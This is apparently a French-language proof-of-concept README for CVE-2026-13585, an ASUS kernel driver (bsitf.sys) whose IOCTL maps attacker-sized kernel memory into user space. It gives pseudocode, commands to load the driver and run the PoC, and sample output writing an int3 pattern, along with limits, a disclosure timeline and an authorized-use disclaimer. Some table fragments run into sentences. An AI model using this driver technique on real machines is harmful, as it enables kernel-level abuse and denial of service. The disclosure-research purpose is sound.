
PoC pour CVE-2026-13585
Le pilote noyau ASUS bsitf.sys (également distribué sous le nom AsusBSItf.sys) expose l'IOCTL 0x222808 qui alloue de la mémoire noyau physiquement contiguë d'une taille contrôlée par l'attaquant, la mappe dans l'espace d'adressage du processus appelant avec des permissions de lecture/écriture complètes, et renvoie à la fois l'adresse virtuelle en mode utilisateur et l'adresse physique à l'appelant.
Le périphérique nécessite des privilèges administrateur pour être ouvert, ce qui en fait une escalade admin vers noyau. Dans un scénario BYOVD (Bring Your Own Vulnerable Driver), un attaquant qui possède déjà les droits admin (par exemple via de l'ingénierie sociale ou une exploitation séparée) peut charger ce pilote signé légitimement pour obtenir un accès arbitraire à la mémoire noyau sans avoir besoin d'une exploitation du noyau.
| Version | Nom de fichier | Package | Type de pool |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool (exécutable) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
Toutes les versions créent le périphérique \Device\bsitf avec le lien symbolique \DosDevices\bsitf.
Le tampon mappé est une nouvelle allocation du pool noyau, pas une adresse noyau arbitraire. L'appelant contrôle son contenu mais pas son emplacement. Cela limite l'exploitation par rapport à une véritable lecture/écriture noyau arbitraire.
NonPagedPool, provoquant un BSOD. Aucune limite de taille ou d'allocation n'est appliquée.NonPagedPool (exécutable). Du shellcode peut être écrit depuis l'espace utilisateur dans le tampon mappé, mais une vulnérabilité séparée est nécessaire pour rediriger l'exécution du noyau vers l'adresse du tampon.Sur les versions v3.1.x (NonPagedPoolNx), le tampon est non exécutable et l'impact pratique est limité au DoS et à la divulgation d'adresse physique.
L'IOCTL 0x222808 dans le gestionnaire de distribution effectue ce qui suit sans validation d'entrée :
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
Aucune vérification sur la taille d'allocation, le nombre d'allocations en cours ou la validation d'entrée. Le périphérique nécessite admin pour être ouvert, mais une fois qu'un handle est acquis, les IOCTL ne sont pas limités.
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# allocation par défaut : 0x1000 (4 Ko)
cargo run --release
# taille personnalisée (hex)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Testé sur Windows 11 24H2 (nécessite administrateur).
NonPagedPoolNx sur toutes les versions| Date | Événement |
|---|---|
| 2026-04-06 | Vulnérabilité découverte via analyse automatisée |
| 2026-04-06 | PoC confirmé sur Windows 11 24H2 |
| 2026-04-06 | Rapport soumis à ASUS PSIRT |
\Device\bsitf, Lien symbolique : \DosDevices\bsitfFUN_140001070Cette preuve de concept est fournie uniquement à des fins de recherche en sécurité autorisée et de divulgation responsable. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.